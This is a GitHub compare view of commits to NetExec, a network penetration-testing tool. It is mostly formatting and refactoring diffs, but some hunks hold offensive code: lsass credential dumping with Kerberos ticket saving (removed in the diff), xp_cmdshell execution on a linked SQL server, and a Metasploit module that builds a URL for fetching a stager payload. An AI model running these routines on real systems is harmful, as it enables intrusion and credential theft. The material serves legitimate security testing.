Compare commits

..
71 changed files with 842 additions and 1802 deletions

No files matched your search

+2 -2
View File
@@ -1,3 +1,5 @@
# ❗❗❗ Before filing this bug report, MAKE SURE you have already downloaded the newest version of NetExec from GitHub and installed it! Many issues have already been reported and fixed, _especially_ if you are running the native Kali version! Please delete this line before submitting your issue if you have done so.❗❗❗
---
name: Bug report
about: Create a report to help us improve
@@ -7,8 +9,6 @@ assignees: ''
---
# ❗❗❗ Before filing this bug report, MAKE SURE you have already downloaded the newest version of NetExec from GitHub and installed it! Many issues have already been reported and fixed, _especially_ if you are running the native Kali version! Please delete this line before submitting your issue if you have done so.❗❗❗
**Describe the bug**
-2
View File
@@ -63,5 +63,3 @@ Awesome code contributors of NetExec:
[![](https://github.com/NeffIsBack.png?size=50)](https://github.com/NeffIsBack)
[![](https://github.com/Hackndo.png?size=50)](https://github.com/Hackndo)
[![](https://github.com/XiaoliChan.png?size=50)](https://github.com/XiaoliChan)
[![](https://github.com/termanix.png?size=50)](https://github.com/termanix)
[![](https://github.com/Dfte.png?size=50)](https://github.com/Dfte)
+1 -1
View File
@@ -60,7 +60,7 @@ def gen_cli_args():
The network execution tool
Maintained as an open source project by @NeffIsBack, @MJHallenbeck, @_zblurx
For documentation and usage examples, visit: https://www.netexec.wiki/
{highlight('Version', 'red')} : {highlight(VERSION)}
+1 -1
View File
@@ -174,7 +174,7 @@ class connection:
if self.kerberos:
self.host = self.hostname
self.logger.info(f"Connection __init__ info: host={self.host}, hostname={self.hostname}, port={self.port}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
self.logger.info(f"Socket info: host={self.host}, port={self.port}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
try:
self.proto_flow()
+4 -4
View File
@@ -110,7 +110,7 @@ def initialize_db():
# Even if the default workspace exists, we still need to check if every protocol has a database (in case of a new protocol)
init_protocol_dbs("default")
def format_host_query(q, filter_term, HostsTable):
"""One annoying thing is that if you search for an ip such as '10.10.10.5',
@@ -127,8 +127,8 @@ def format_host_query(q, filter_term, HostsTable):
else:
nxc_logger.debug("Neither 'ip' nor 'host' columns found in the table")
return q
# first we check if its an ip address
# first we check if its an ip address
try:
ipaddress.ip_address(filter_term)
nxc_logger.debug(f"filter_term is an IP address: {filter_term}")
@@ -136,7 +136,7 @@ def format_host_query(q, filter_term, HostsTable):
except ValueError:
nxc_logger.debug(f"filter_term is not an IP address: {filter_term}")
like_term = func.lower(f"%{filter_term}%")
# check if the hostname column exists for hostname searching
q = q.filter(ip_column.like(like_term) | func.lower(HostsTable.c.hostname).like(like_term)) if hasattr(HostsTable.c, "hostname") else q.filter(ip_column.like(like_term))
+2 -2
View File
@@ -145,11 +145,11 @@ class Element:
return ""
attrs = filter(lambda x: x is not None, (x.xml(template) for x in self._attributes))
attrs = " ".join(attrs)
if len(attrs) > 0:
attrs = " " + attrs
if self._empty:
return f"<{self._name.val}{attrs}/>"
else:
+1
View File
@@ -145,3 +145,4 @@ def detect_if_ip(target):
return True
except Exception:
return False
+1 -1
View File
@@ -31,4 +31,4 @@ def parse_challenge(challange):
target_info["os_version"] = f"{WIN_VERSIONS[product_build]} Build {product_build}"
else:
target_info["os_version"] = f"{major_version}.{minor_version} Build {product_build}"
return target_info
return target_info
+1 -1
View File
@@ -86,7 +86,7 @@ class NXCModule:
# If SAMR fails now try over LDAPS
if not self.noLDAPRequired:
self.do_ldaps_add(connection, context)
def do_samr_add(self, context):
"""
Connects to a target server and performs various operations related to adding or deleting machine accounts.
+8 -8
View File
@@ -15,9 +15,9 @@ class NXCModule:
self.module_options = module_options
def options(self, context, module_options):
"""
"""
USAGE:
NetExec smb <IP> -u <username> -p <password> -M bitlocker
NetExec wmi <IP> -u <username> -p <password> -M bitlocker (Better option to use on real life.)
"""
@@ -43,7 +43,7 @@ class BitLockerSMB:
try:
# Executing the PowerShell command to get BitLocker volumes status.
check_bitlocker_command_str_output = self.connection.execute(check_bitlocker_command_str, True)
if "'Get-BitLockerVolume' is not recognized" in check_bitlocker_command_str_output:
self.context.log.fail("BitLockerVolume not found on target.")
return
@@ -51,10 +51,10 @@ class BitLockerSMB:
# Splitting the output into lines.
lines = str(check_bitlocker_command_str_output).splitlines()
data_lines = [line for line in lines if re.match(r"\w:", line)]
for line in data_lines:
# Checking every line for starting with drive
if line[1] == ":":
if line[1] == ":":
parts = line.split()
MountPoint, EncryptionMethod, protection_status = parts[0], parts[1], parts[2]
@@ -85,7 +85,7 @@ class BitLockerWMI:
oxidResolver=True,
doKerberos=self.connection.kerberos,
kdcHost=self.connection.kdcHost)
try:
# CoCreateInstanceEx for WMI login
i_interface = dcom_conn.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
@@ -93,7 +93,7 @@ class BitLockerWMI:
# Specify the namespace for BitLocker
bitlockerNamespace = "root\\CIMv2\\Security\\MicrosoftVolumeEncryption"
# NTLM login for WMI
iWbemServices = iWbemLevel1Login.NTLMLogin(bitlockerNamespace, NULL, NULL)
@@ -113,7 +113,7 @@ class BitLockerWMI:
6: "XTS_AES_128",
7: "XTS_AES_256_WITH_DIFFUSER"
}
try:
while True:
iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff, 1)
+115 -79
View File
@@ -1,4 +1,5 @@
import binascii
import codecs
import json
import datetime
from enum import Enum
@@ -188,12 +189,6 @@ class ALLOWED_OBJECT_ACE_MASK_FLAGS(Enum):
Self = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_SELF
SEARCH_FILTERS = {
"TARGET": lambda target: f"(sAMAccountName={escape_filter_chars(target)})",
"TARGET_DN": lambda target: f"(distinguishedName={escape_filter_chars(target)})"
}
class NXCModule:
"""Module to read and backup the Discretionary Access Control List of one or multiple objects.
@@ -210,17 +205,9 @@ class NXCModule:
self.context = context
self.module_options = module_options
# Initialize module variables
self.principal_sAMAccountName = None
self.principal_sid = None
self.action = "read"
self.ace_type = "allowed"
self.rights = None
self.rights_guid = None
def options(self, context, module_options):
"""
Be careful, this module cannot read the DACLS recursively.
Be careful, this module cannot read the DACLS recursively.
For example, if an object has particular rights because it belongs to a group, the module will not be able to see it directly, you have to check the group rights manually.
TARGET The objects that we want to read or backup the DACLs, specified by its SamAccountName
@@ -239,48 +226,57 @@ class NXCModule:
context.log.fail("Select an option, example: -M daclread -o TARGET=Administrator ACTION=read")
sys.exit(1)
self.targets = []
if module_options and "TARGET" in module_options:
context.log.debug("There is a target specified!")
if isfile(module_options["TARGET"]):
try:
self.target_file = open(module_options["TARGET"]) # noqa: SIM115
self.target_sAMAccountName = None
except Exception:
context.log.fail("The file doesn't exist or cannot be opened.")
else:
context.log.debug(f"Setting target_sAMAccountName to {module_options['TARGET']}")
self.target_sAMAccountName = module_options["TARGET"]
self.target_file = None
self.target_DN = None
self.target_SID = None
if module_options and "TARGET_DN" in module_options:
self.target_DN = module_options["TARGET_DN"]
self.target_sAMAccountName = None
self.target_file = None
for option in "TARGET", "TARGET_DN":
if option in module_options:
context.log.debug("There is a target specified!")
if isfile(module_options[option]):
try:
target_file = open(module_options[option]) # noqa: SIM115
for line in target_file:
context.log.debug(f"Adding target from file: {line}")
self.targets.append((line.strip(), SEARCH_FILTERS[option]))
except Exception:
context.log.fail("The file doesn't exist or cannot be opened.")
else:
context.log.debug(f"Adding target: {module_options[option]}")
self.targets.append((module_options[option].strip(), SEARCH_FILTERS[option]))
if not self.targets:
context.log.fail("No target specified, please specify at least one target with the TARGET or TARGET_DN options.")
sys.exit(1)
if "PRINCIPAL" in module_options:
if module_options and "PRINCIPAL" in module_options:
self.principal_sAMAccountName = module_options["PRINCIPAL"]
else:
self.principal_sAMAccountName = None
self.principal_sid = None
if "ACTION" in module_options:
if module_options and "ACTION" in module_options:
self.action = module_options["ACTION"]
if "ACE_TYPE" in module_options:
else:
self.action = "read"
if module_options and "ACE_TYPE" in module_options:
self.ace_type = module_options["ACE_TYPE"]
if "RIGHTS" in module_options:
else:
self.ace_type = "allowed"
if module_options and "RIGHTS" in module_options:
self.rights = module_options["RIGHTS"]
if "RIGHTS_GUID" in module_options:
else:
self.rights = None
if module_options and "RIGHTS_GUID" in module_options:
self.rights_guid = module_options["RIGHTS_GUID"]
else:
self.rights_guid = None
self.filename = None
def on_login(self, context, connection):
self.context = context
"""On a successful LDAP login we perform a search for the targets' SID, their Security Descriptors and the principal's SID if there is one specified"""
context.log.highlight("Be careful, this module cannot read the DACLS recursively.")
self.context = context
self.baseDN = connection.ldap_connection._baseDN
self.ldap_session = connection.ldap_connection
self.connection = connection
self.context = context
# Searching for the principal SID
if self.principal_sAMAccountName is not None:
@@ -298,49 +294,86 @@ class NXCModule:
return
# Searching for the targets SID and their Security Descriptors
for target, search_filter in self.targets:
# If there is only one target
if (self.target_sAMAccountName or self.target_DN) and self.target_file is None:
try:
# Searching for target account with its security descriptor
if self.target_sAMAccountName: # noqa: SIM108
search_filter = f"(sAMAccountName={escape_filter_chars(self.target_sAMAccountName)})"
else:
search_filter = f"(distinguishedName={escape_filter_chars(self.target_DN)})"
resp = connection.search(
searchFilter=search_filter(target),
searchFilter=search_filter,
attributes=["distinguishedName", "nTSecurityDescriptor"],
searchControls=security_descriptor_control(sdflags=0x04),
)
resp_parsed = parse_result_attributes(resp)[0]
# Extract security descriptor data
target_principal_dn = resp_parsed["distinguishedName"]
principal_raw_security_descriptor = resp_parsed["nTSecurityDescriptor"]
principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=principal_raw_security_descriptor)
context.log.highlight(f"Target principal found in LDAP ({target_principal_dn})")
self.target_principal_dn = resp_parsed["distinguishedName"]
self.principal_raw_security_descriptor = resp_parsed["nTSecurityDescriptor"]
self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor)
context.log.highlight(f"Target principal found in LDAP ({self.target_principal_dn})")
except Exception as e:
context.log.fail(f"Target SID not found in LDAP ({target})")
context.log.fail(f"Target SID not found in LDAP ({self.target_sAMAccountName})")
context.log.debug(f"Exception: {e}, {traceback.format_exc()}")
continue
return
if self.action == "read":
self.read(principal_security_descriptor)
self.read(context)
if self.action == "backup":
self.backup(target, target_principal_dn, principal_raw_security_descriptor)
self.backup(context)
# If there are multiple targets
else:
targets = self.target_file.readlines()
for target in targets:
try:
self.target_sAMAccountName = target.strip()
# Searching for target account with its security descriptor
resp = connection.search(
searchFilter=f"(sAMAccountName={escape_filter_chars(self.target_sAMAccountName)})",
attributes=["distinguishedName", "nTSecurityDescriptor"],
searchControls=security_descriptor_control(sdflags=0x04),
)
resp_parsed = parse_result_attributes(resp)[0]
# Extract security descriptor data
self.target_principal_dn = resp_parsed["distinguishedName"]
self.principal_raw_security_descriptor = resp_parsed["nTSecurityDescriptor"]
self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor)
context.log.highlight(f"Target principal found in LDAP ({self.target_sAMAccountName})")
except Exception:
context.log.fail(f"Target SID not found in LDAP ({self.target_sAMAccountName})")
continue
if self.action == "read":
self.read(context)
if self.action == "backup":
self.backup(context)
# Main read funtion
# Prints the parsed DACL
def read(self, principal_security_descriptor):
parsed_dacl = self.parse_dacl(principal_security_descriptor["Dacl"])
self.print_parsed_dacl(parsed_dacl)
def read(self, context):
parsed_dacl = self.parse_dacl(context, self.principal_security_descriptor["Dacl"])
self.print_parsed_dacl(context, parsed_dacl)
# Permits to export the DACL of the targets
# This function is called before any writing action (write, remove or restore)
def backup(self, target, target_principal_dn, principal_raw_security_descriptor):
def backup(self, context):
backup = {}
backup["sd"] = binascii.hexlify(principal_raw_security_descriptor).decode("latin-1")
backup["dn"] = str(target_principal_dn)
timestamp = datetime.datetime.now().strftime("%Y%m%d-%H%M%S")
filename = f"dacledit-{timestamp}-{target}.bak"
with open(filename, "w", encoding="latin-1") as outfile:
backup["sd"] = binascii.hexlify(self.principal_raw_security_descriptor).decode("latin-1")
backup["dn"] = str(self.target_principal_dn)
if not self.filename:
self.filename = "dacledit-{}-{}.bak".format(
datetime.datetime.now().strftime("%Y%m%d-%H%M%S"),
self.target_sAMAccountName,
)
with codecs.open(self.filename, "w", "latin-1") as outfile:
json.dump(backup, outfile)
self.context.log.highlight(f"DACL backed up to {filename}")
context.log.highlight("DACL backed up to %s", self.filename)
self.filename = None
def resolveSID(self, sid):
"""Resolves a SID to its corresponding sAMAccountName."""
@@ -361,11 +394,11 @@ class NXCModule:
# Parses a full DACL
# - dacl : the DACL to parse, submitted in a Security Desciptor format
def parse_dacl(self, dacl):
def parse_dacl(self, context, dacl):
parsed_dacl = []
self.context.log.debug("Parsing DACL")
context.log.debug("Parsing DACL")
for ace in dacl["Data"]:
parsed_ace = self.parse_ace(ace)
parsed_ace = self.parse_ace(context, ace)
parsed_dacl.append(parsed_ace)
return parsed_dacl
@@ -380,7 +413,7 @@ class NXCModule:
# Parses a specified ACE and extract the different values (Flags, Access Mask, Trustee, ObjectType, InheritedObjectType)
# - ace : the ACE to parse
def parse_ace(self, ace):
def parse_ace(self, context, ace):
# For the moment, only the Allowed and Denied Access ACE are supported
if ace["TypeName"] in [
"ACCESS_ALLOWED_ACE",
@@ -422,9 +455,12 @@ class NXCModule:
except KeyError:
parsed_ace["Inherited type (GUID)"] = f"UNKNOWN ({inh_obj_type})"
# Extract the Trustee SID (the object that has the right over the DACL bearer)
parsed_ace["Trustee (SID)"] = f"{self.resolveSID(ace['Ace']['Sid'].formatCanonical()) or 'UNKNOWN'} ({ace['Ace']['Sid'].formatCanonical()})"
parsed_ace["Trustee (SID)"] = "{} ({})".format(
self.resolveSID(ace["Ace"]["Sid"].formatCanonical()) or "UNKNOWN",
ace["Ace"]["Sid"].formatCanonical(),
)
else: # if the ACE is not an access allowed
self.context.log.debug(f"ACE Type ({ace['TypeName']}) unsupported for parsing yet, feel free to contribute")
context.log.debug(f"ACE Type ({ace['TypeName']}) unsupported for parsing yet, feel free to contribute")
_ace_flags = [FLAG.name for FLAG in ACE_FLAGS if ace.hasFlag(FLAG.value)]
parsed_ace = {
"ACE type": ace["TypeName"],
@@ -433,18 +469,18 @@ class NXCModule:
}
return parsed_ace
def print_parsed_dacl(self, parsed_dacl):
def print_parsed_dacl(self, context, parsed_dacl):
"""Prints a full DACL by printing each parsed ACE
parsed_dacl : a parsed DACL from parse_dacl()
"""
self.context.log.debug("Printing parsed DACL")
context.log.debug("Printing parsed DACL")
# If a specific right or a specific GUID has been specified, only the ACE with this right will be printed
# If an ACE type has been specified, only the ACE with this type will be specified
# If a principal has been specified, only the ACE where he is the trustee will be printed
for i, parsed_ace in enumerate(parsed_dacl):
print_ace = True
self.context.log.debug(f"{parsed_ace=}, {self.rights=}, {self.rights_guid=}, {self.ace_type=}, {self.principal_sid=}")
context.log.debug(f"{parsed_ace=}, {self.rights=}, {self.rights_guid=}, {self.ace_type=}, {self.principal_sid=}")
# Filter on specific rights
if self.rights is not None:
@@ -458,7 +494,7 @@ class NXCModule:
if (self.rights == "ResetPassword") and (("Object type (GUID)" not in parsed_ace) or (RIGHTS_GUID.ResetPassword.value not in parsed_ace["Object type (GUID)"])):
print_ace = False
except Exception as e:
self.context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights=}, probably because of ACE type unsupported for parsing yet ({e})")
context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights=}, probably because of ACE type unsupported for parsing yet ({e})")
# Filter on specific right GUID
if self.rights_guid is not None:
@@ -466,7 +502,7 @@ class NXCModule:
if ("Object type (GUID)" not in parsed_ace) or (self.rights_guid not in parsed_ace["Object type (GUID)"]):
print_ace = False
except Exception as e:
self.context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights_guid=}, probably because of ACE type unsupported for parsing yet ({e})")
context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights_guid=}, probably because of ACE type unsupported for parsing yet ({e})")
# Filter on ACE type
if self.ace_type == "allowed":
@@ -474,13 +510,13 @@ class NXCModule:
if ("ACCESS_ALLOWED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ("ACCESS_ALLOWED_ACE" not in parsed_ace["ACE Type"]):
print_ace = False
except Exception as e:
self.context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
else:
try:
if ("ACCESS_DENIED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ("ACCESS_DENIED_ACE" not in parsed_ace["ACE Type"]):
print_ace = False
except Exception as e:
self.context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
# Filter on trusted principal
if self.principal_sid is not None:
@@ -488,7 +524,7 @@ class NXCModule:
if self.principal_sid not in parsed_ace["Trustee (SID)"]:
print_ace = False
except Exception as e:
self.context.log.debug(f"Error filtering with {parsed_ace=} and {self.principal_sid=}, probably because of ACE type unsupported for parsing yet ({e})")
context.log.debug(f"Error filtering with {parsed_ace=} and {self.principal_sid=}, probably because of ACE type unsupported for parsing yet ({e})")
if print_ace:
self.context.log.highlight(f"ACE[{i}] info")
self.print_parsed_ace(parsed_ace)
+1 -1
View File
@@ -15,4 +15,4 @@ class NXCModule:
self.listener = module_options["LISTENER"]
def on_login(self, context, connection):
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
+4 -4
View File
@@ -34,12 +34,12 @@ class NXCModule:
no_pass=True,
use_kcache=getattr(connection, "use_kcache", False),
)
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if conn is None:
context.log.debug("Could not upgrade connection")
return
try:
context.log.display("Collecting DPAPI masterkeys, grab a coffee and be patient...")
masterkeys_triage = MasterkeysTriage(
@@ -57,6 +57,6 @@ class NXCModule:
else:
for mkhash in [mkhash for masterkey in masterkeys_triage.all_looted_masterkeys for mkhash in masterkey.generate_hash()]:
context.log.highlight(mkhash)
except Exception as e:
context.log.debug(f"Could not get masterkeys: {e}")
context.log.debug(f"Could not get masterkeys: {e}")
+1 -1
View File
@@ -376,7 +376,7 @@ conf = {
{"name": "masvc", "description": "Trellix Agent Service"},
{"name": "macmnsvc", "description": "Trellix Agent Common Service"},
{"name": "mfetp", "description": "Trellix Endpoint Threat Prevention Service"},
{"name": "mfewc", "description": "Trellix Endpoint Security Web Control Service"},
{"name": "mfewc", "description": "Trellix Endpoint Security Web Control Service"},
{"name": "mfeaack", "description": "Trellix Anti-Malware Core Service"}
],
"pipes": [
-93
View File
@@ -1,93 +0,0 @@
#!/usr/bin/env python3
import contextlib
from impacket.examples.secretsdump import RemoteOperations
from impacket.dcerpc.v5 import rrp
from impacket.dcerpc.v5.rpcrt import DCERPCException
class NXCModule:
"""
Retrieve the list of network interfaces info (Name, IP Address, Subnet Mask, Default Gateway) from remote Windows registry'
Formerly --interfaces parameter
Made by: @Sant0rryu, @NeffIsBack
"""
name = "enum_interfaces"
description = "Retrieve the list of network interfaces info (Name, IP Address, Subnet Mask, Default Gateway) from remote Windows registry (formerly --interfaces)"
supported_protocols = ["smb"]
opsec_safe = False
def __init__(self):
self.context = None
self.module_options = {}
def options(self, context, module_options):
"""No options available"""
def on_admin_login(self, context, connection):
"""Execute network interface enumeration on authenticated SMB connection"""
self.context = context
try:
remoteOps = RemoteOperations(connection.conn, False)
remoteOps.enableRegistry()
if remoteOps._RemoteOperations__rrp:
reg_handle = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, reg_handle, "SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces")["phkResult"]
sub_key_list = rrp.hBaseRegQueryInfoKey(remoteOps._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
sub_keys = [rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, key_handle, i)["lpNameOut"][:-1] for i in range(sub_key_list)]
context.log.highlight(f"{'-Name-':<11} | {'-IP Address-':<15} | {'-SubnetMask-':<15} | {'-Gateway-':<15} | -DHCP-")
for sub_key in sub_keys:
interface = {}
try:
interface_key = f"SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\{sub_key}"
interface_handle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, reg_handle, interface_key)["phkResult"]
# Retrieve Interace Name
interface_name_key = f"SYSTEM\\ControlSet001\\Control\\Network\\{{4D36E972-E325-11CE-BFC1-08002BE10318}}\\{sub_key}\\Connection"
interface_name_handle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, reg_handle, interface_name_key)["phkResult"]
interface_name = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_name_handle, "Name")[1].rstrip("\x00")
interface["Name"] = str(interface_name)
if "Kernel" in interface_name:
continue
# Retrieve DHCP
try:
dhcp_enabled = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "EnableDHCP")[1]
except DCERPCException:
dhcp_enabled = False
interface["DHCP"] = bool(dhcp_enabled)
# Retrieve IPAddress
try:
ip_address = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "DhcpIPAddress" if dhcp_enabled else "IPAddress")[1].rstrip("\x00").replace("\x00", ", ")
except DCERPCException:
ip_address = None
interface["IPAddress"] = ip_address if ip_address else None
# Retrieve SubnetMask
try:
subnetmask = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "SubnetMask")[1].rstrip("\x00").replace("\x00", ", ")
except DCERPCException:
subnetmask = None
interface["SubnetMask"] = subnetmask if subnetmask else None
# Retrieve DefaultGateway
try:
default_gateway = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "DhcpDefaultGateway")[1].rstrip("\x00").replace("\x00", ", ")
except DCERPCException:
default_gateway = None
interface["DefaultGateway"] = default_gateway if default_gateway else None
context.log.highlight(f"{interface['Name']:<11} | {interface['IPAddress']!s:<15} | {interface['SubnetMask']!s:<15} | {interface['DefaultGateway']!s:<15} | {interface['DHCP']}")
except DCERPCException as e:
context.log.info(f"Failed to retrieve the network interface info for {sub_key}: {e!s}")
with contextlib.suppress(Exception):
remoteOps.finish()
except DCERPCException as e:
context.log.error(f"Failed to connect to the target: {e!s}")
+1 -1
View File
@@ -25,7 +25,7 @@ class NXCModule:
self.context.log.display(f" - {server}")
else:
self.context.log.fail("No linked servers found.")
if connection.admin_privs:
res = self.mssql_conn.sql_query("EXEC sp_helplinkedsrvlogin")
srvs = [srv for srv in res if srv["Local Login"] != "NULL"]
+5 -5
View File
@@ -42,14 +42,14 @@ class NXCModule:
domain_prefix = f"{domain_name}\\" if domain_name else ""
query = f"""
SELECT
SELECT
name,
type,
type_desc,
CASE type_desc
CASE type_desc
WHEN 'SQL_LOGIN' THEN 'SQL User'
WHEN 'WINDOWS_LOGIN' THEN
CASE
WHEN 'WINDOWS_LOGIN' THEN
CASE
WHEN name LIKE '{domain_prefix}%' THEN 'Domain User'
WHEN name LIKE '%\\%' THEN 'Local User'
ELSE 'Local User'
@@ -61,7 +61,7 @@ class NXCModule:
END as login_type,
is_disabled,
create_date
FROM sys.server_principals
FROM sys.server_principals
WHERE type IN ('S', 'U', 'G', 'C', 'K')
AND name NOT LIKE '##%'
ORDER BY login_type, name;
+1 -1
View File
@@ -21,7 +21,7 @@ class NXCModule:
self.limit = None
def options(self, context, module_options):
"""
"""
METHOD EventLog method (Execute or RPCCALL), default: execute
M Alias for METHOD
LIMIT Limit of the number of records to be fetched, default: unlimited
+1
View File
@@ -41,3 +41,4 @@ class NXCModule:
# Filter
context.log.debug(f"Filter info field with: {self.FILTER}")
return [answer for answer in answers if self.FILTER in answer[1]]
+7 -7
View File
@@ -79,10 +79,10 @@ class NXCModule:
ssl_context = ssl.create_default_context()
ssl_context.check_hostname = False
ssl_context.verify_mode = ssl.CERT_NONE
with socket.create_connection((connection.host, 636)) as sock, ssl_context.wrap_socket(sock, server_hostname=connection.host) as ssl_sock:
cert = ssl_sock.getpeercert(binary_form=True)
if cert:
cert_hash = hashlib.sha256(cert).digest()
context.log.debug(f"Original certificate hash: {cert_hash.hex()}")
@@ -109,7 +109,7 @@ class NXCModule:
except Exception as e:
context.log.fail(f"Exception in run_ldaps_withEPA: {e}")
return None
# Domain Controllers do not have a certificate setup for
# LDAPS on port 636 by default. If this has not been setup,
# the TLS handshake will hang and you will not be able to
@@ -138,7 +138,7 @@ class NXCModule:
return False
finally:
ssl_sock.close()
# Conduct an LDAP bind and determine if server signing
# requirements are enforced based on potential errors
# during the bind attempt.
@@ -167,9 +167,9 @@ class NXCModule:
except Exception as e:
context.log.debug(f"Exception during LDAP bind: {e}")
return None
# Determine authentication context and proceed to
# enumerate LDAP signing and channel binding settings
# enumerate LDAP signing and channel binding settings
def on_login(self, context, connection):
context.log.fail("[REMOVED] Now natively supported in the host banner")
return
@@ -255,4 +255,4 @@ class NXCModule:
else:
context.log.fail("Could not determine LDAPS channel binding settings")
else:
context.log.fail(f"{connection.domain} - TLS handshake failed; certificate likely not configured")
context.log.fail(f"{connection.domain} - TLS handshake failed; certificate likely not configured")
+2 -2
View File
@@ -31,14 +31,14 @@ class NXCModule:
self.context.log.display(f"Running command on {self.linked_server}: {self.command}")
query = f"EXEC ('xp_cmdshell ''{self.command}''') AT [{self.linked_server}]"
result = self.mssql_conn.sql_query(query)
if result:
output_lines = []
for row in result:
output_value = row.get("output")
if output_value and output_value != "NULL":
output_lines.append(str(output_value))
if output_lines:
self.context.log.success("Executed command via linked server")
for line in output_lines:
+2 -75
View File
@@ -4,17 +4,12 @@
# https://beta.hackndo.com [FR]
# https://en.hackndo.com [EN]
import os
import sys
from lsassy.dumper import Dumper
from lsassy.impacketfile import ImpacketFile
from lsassy.parser import Parser
from lsassy.session import Session
from impacket.krb5.ccache import CCache
from nxc.helpers.bloodhound import add_user_bh
from nxc.paths import NXC_PATH
class NXCModule:
@@ -26,33 +21,13 @@ class NXCModule:
self.context = context
self.module_options = module_options
self.method = None
self.dump_tickets = True
self.save_dir = os.path.join(NXC_PATH, "modules", "lsassy")
self.ticket_type = "ccache"
def options(self, context, module_options):
"""
METHOD Method to use to dump lsass.exe with lsassy
DUMP_TICKETS If set, will dump Kerberos tickets (Default: True)
SAVE_DIR Directory to save dumped tickets
SAVE_TYPE Type of ticket to save, either 'kirbi' or 'ccache' (Default: 'ccache')
"""
"""METHOD Method to use to dump lsass.exe with lsassy"""
self.method = "comsvcs"
if "METHOD" in module_options:
self.method = module_options["METHOD"]
if "DUMP_TICKETS" in module_options:
self.dump_tickets = module_options["DUMP_TICKETS"].lower() in ["true"]
if "SAVE_DIR" in module_options:
self.save_dir = module_options["SAVE_DIR"]
if "SAVE_TYPE" in module_options:
self.ticket_type = module_options["SAVE_TYPE"]
if self.ticket_type not in ["kirbi", "ccache"]:
context.log.error(f"Invalid SAVE_TYPE '{self.ticket_type}'. Supported types are 'kirbi' and 'ccache'.")
sys.exit(1)
def on_admin_login(self, context, connection):
host = connection.host
domain_name = connection.domain
@@ -92,6 +67,7 @@ class NXCModule:
context.log.fail("Unable to parse lsass dump")
return False
credentials, tickets, masterkeys = parsed
file.close()
context.log.debug("Closed dumper file")
file_path = file.get_file_path()
@@ -108,9 +84,6 @@ class NXCModule:
if credentials is None:
credentials = []
if self.dump_tickets and tickets:
self.write_tickets(context, tickets, host)
for cred in credentials:
c = cred.get_object()
context.log.debug(f"Cred: {c}")
@@ -143,52 +116,6 @@ class NXCModule:
context.log.debug("Calling process_credentials")
self.process_credentials(context, connection, credentials_output)
def write_tickets(self, context, tickets, host):
if not tickets:
context.log.display("No Kerberos tickets found")
return
if not os.path.exists(self.save_dir):
try:
os.makedirs(self.save_dir)
context.log.debug(f"Created directory: {self.save_dir} for saving tickets")
except Exception as e:
context.log.fail(f"Error creating directory {self.save_dir}: {e}")
return
ticket_count = 0
for ticket in tickets:
for filename in ticket.kirbi_data:
try:
base_filename = filename.split(".kirbi")[0]
timestamp = ticket.EndTime.strftime("%Y%m%d%H%M%S")
kirbi_data = ticket.kirbi_data[filename]
if self.ticket_type == "ccache":
ccache = CCache()
ccache.fromKRBCRED(kirbi_data.dump())
ticket_filename = f"{base_filename}_{host}_{timestamp}.ccache"
ticket_content = ccache.getData()
else:
ticket_filename = f"{base_filename}_{host}_{timestamp}.kirbi"
ticket_content = kirbi_data.dump()
ticket_path = os.path.join(self.save_dir, ticket_filename)
with open(ticket_path, "wb") as f:
f.write(ticket_content)
ticket_count += 1
context.log.debug(f"Saved ticket: {ticket_filename}")
except Exception as e:
context.log.fail(f"Error writing ticket {filename}: {e}")
if ticket_count > 0:
context.log.highlight(f"Saved {ticket_count} Kerberos ticket(s) to {self.save_dir}")
else:
context.log.display("No tickets were saved")
def process_credentials(self, context, connection, credentials):
if len(credentials) == 0:
context.log.display("No credentials found")
+4 -4
View File
@@ -25,7 +25,7 @@ class NXCModule:
SRVPORT Stager port
RAND Random string given by metasploit (if using web_delivery)
SSL Stager server use https or http (default: https)
This module is compatable with --obfs, --force-ps32 (PowerShell execution options)
multi/handler method that don't require RAND:
@@ -60,14 +60,14 @@ class NXCModule:
proto = "http" if self.met_ssl == "http" else "https"
metasploit_endpoint = f"{proto}://{self.srvhost}:{self.srvport}/{self.rand}"
